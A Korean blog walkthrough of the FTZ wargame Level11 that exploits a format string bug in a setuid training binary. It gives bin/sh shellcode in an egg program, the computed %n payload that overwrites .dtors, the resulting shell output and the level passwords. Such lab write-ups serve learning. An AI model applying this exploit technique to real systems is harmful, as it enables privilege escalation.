본문으로 바로가기

Level11 문제 해결 (포맷 스트링 버그)

category Security/리버싱 2017. 12. 5. 22:12

ftz.hackershcool.org의 이미지를 받아 사용했습니다. 


- Level11

level11 / what!@#$?


[level11@ftz level11]$ ls -l

 

 합계 28

-rwsr-x---    1 level12  level11     13733  3월  8  2003 attackme

-rw-r-----    1 root     level11       168  3월  8  2003 hint

drwxr-xr-x    2 root     level11      4096  2월 24  2002 public_html

drwxrwxr-x    2 root     level11      4096 12월  4 21:34 tmp

 


[level11@ftz level11]$ cat hint

 

 #include <stdio.h>

#include <stdlib.h>


int main( int argc, char *argv[] )

{

        char str[256];


        setreuid( 3092, 3092 );

        strcpy( str, argv[1] );

        printf( str );

}


 

> print애 포맷 스트링이 지정되어 있지 않다. (포맷스트링 버그 가능)

> 권한은 올라가지만 쉘 실행하는 코드가 없다 

> 소멸자의 주소를 쉘을 실행하는 프로그램의 주소로 바꾼다. 


[level11@ftz level11]$ ./attackme AAAA

 

 AAAA

 


[level11@ftz level11]$ ./attackme "AAAA %8x"

 

 AAAA bffffc3f

 


[level11@ftz level11]$ ./attackme "AAAA %8x %8x"


 AAAA bffffc3b bfffed80

 


[level11@ftz level11]$ ./attackme "AAAA %8x %8x %8x"

 

 AAAA bffffc37 bfffdc00        1

 


[level11@ftz level11]$ ./attackme "AAAA %8x %8x %8x %8x"

 

 AAAA bffffc33 bfffe080        1 41414141

 

> %8x를 3번은 해야 버퍼에 저장된 AAAA가 나옵니다. ( 찾아서 확인해 봐야함 )


[level11@ftz level11]$ nm attackme | head

 

0804953c D _DYNAMIC

08049614 D _GLOBAL_OFFSET_TABLE_

08048524 R _IO_stdin_used

08049608 d __CTOR_END__

08049604 d __CTOR_LIST__

08049610 d __DTOR_END__

0804960c d __DTOR_LIST__

08049538 d __EH_FRAME_BEGIN__

08049538 d __FRAME_END__

0804963c A __bss_start

 

> main이 끝날 때 소멸자가 호출되고, 그 소멸자의 주소를 바꿔 권한을 얻는다. 


[참고] nm

오브젝트 파일에 포함된 심볼을 확인하는 툴


[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ vi egg.c

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


#define DEFAULT_OFFSET 0

#define DEFAULT_ADDR_SIZE 8

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_SUPERDK_SIZE 2048

#define NOP 0x90


// 배시쉘을 실행하는 셀코드

char shellcode[] =

 "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

 "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";


// 스택 포인터를 가져 오는 함수

unsigned long get_sp(void)

{

        __asm__("movl %esp, %eax");

}


int main(int argc, char **argv)

{

        char *ptr, *superSH;

        char shAddr[DEFAULT_ADDR_SIZE + 1];

        char cmdBuf[DEFAULT_BUFFER_SIZE];

        long *addr_ptr,addr;

        int offset=DEFAULT_OFFSET;

        int i, supershLen=DEFAULT_SUPERDK_SIZE;

        int chgDec[3];


        // 셀코드를 올릴 포인터 주소에 동적 메모리 할당

        if(!(superSH = malloc(supershLen)))

        {

                printf("Can't allocate memory for supershLen");

                exit(0);

        }


        // 셀코드의 주소 읽기와 화면 출력

        addr = get_sp() - offset;

        printf("Using address: 0x%x\n", addr);


        // 쉘코드 실행 확률을 높이기 위해서 셀코드 앞에 충분한 NOP 추가

        ptr = superSH;

        for(i=0; i<supershLen - strlen(shellcode) - 1; i++)

                *(ptr++) = NOP;


        // NOP 뒤에 셀코드 추가

        for(i=0; i<strlen(shellcode); i++)

                *(ptr++) = shellcode[i];


        // 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시

        superSH[supershLen - 1] = '\0';


        // SUPERDK라는 환경변수명으로 셀코드를 환경변수에 등록

        memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);

        putenv(superSH);


        // 새로운 배시셀 실행

        system("/bin/bash");

}

 

> egg쉘 코드를 만들어 실행한다. ( 인터넷에 많이 있다. )


[level11@ftz tmp]$ gcc -o egg egg.c

[level11@ftz tmp]$ ./egg

 

 Using address: 0xbfffec08

 

> 위 주소로 해도 되지만 정확한 주소는 아니다. 


[level11@ftz tmp]$ vi getenv.c

 

 #include<stdio.h>


int main(int argc, char *argv[])

{

        printf("ADDR = %p\n",getenv(argv[1]));

        return 0;

}

 


[level11@ftz tmp]$ ./getenv SUPERDK

 

 ADDR = 0xbffff4a1

 

> 환경변수의 이름을 입력하면 주소의 값이 나옵니다. 이 주소로 바꿉니다. 



08049610 ---->  bfff f4a1
bffff4a1가 10진수로 바꾸면 3221222561이다. 4바이트의 주소 범위를 넘어 가므로  리틀엔디안으로 반반 나눠서 거꾸로 집어 넣는다. 
4fa1을 넣고 2바이트 뒤에 bfff 를 넣는다. -> 08049610에 4ba1을 넣고 2바이트 뒤인 08049612에 bfff를 넣는다. 

$(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\04\x08")%8x%8x%8x
-> 여기까지 하면 AAAA 4bytes 08049610 4bytes BBBB 4bytes 08049612 4bytes 총 16bytes
-> 8x 8bytes 가 3개 24 bytes ( 앞서 확인했듯이 8bytes 3번은 해야한다. )

바꾸고 싶은 숫자가 f4a1(62625) 이다. %n앞에 bytes 수가 62625
앞에 이미 40bytes가 있으므로 필요한 bytes 는 62625 - 40 =  62585
%62585c

$(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\04\x08")%8x%8x%8x%62585c%n

다음 바꿔고 싶은 숫자는 bfff(49151) 이다. 앞에 이미 62625(f4a1)이 있다. 
bfff - f4a1 = FFFFFFFFFFFFCB5E  ( 작은 수에서 큰 수를 뺄 수 없으므로 ) 
1bfff - f4a1 = 114687 - 62625 = 52062(CB5E) -> 마지막 4자리는 결국 같다. 

$(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\04\x08")%8x%8x%8x%62585c%n%52062c%n

[level11@ftz level11]$ ./attackme $(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\04\x08")%8x%8x%8x%62585c%n%52062c%n

 

                                                                                                                                                                                                                          sh-2.05b$

sh-2.05b$

sh-2.05b$ id

uid=3092(level12) gid=3091(level11) groups=3091(level11)

sh-2.05b$ my-pass

TERM environment variable not set.


Level12 Password is "it is like this".


sh-2.05b$

 



- 포맷 스트링 버그

이해하기 정말 어려운 부분이었습니다. 

이 곳에서 많이 참조 했습니다.>> http://geundi.tistory.com/124  ( 스택에 관한 그림들이 있어서 더 보기 좋을 수 있습니다. )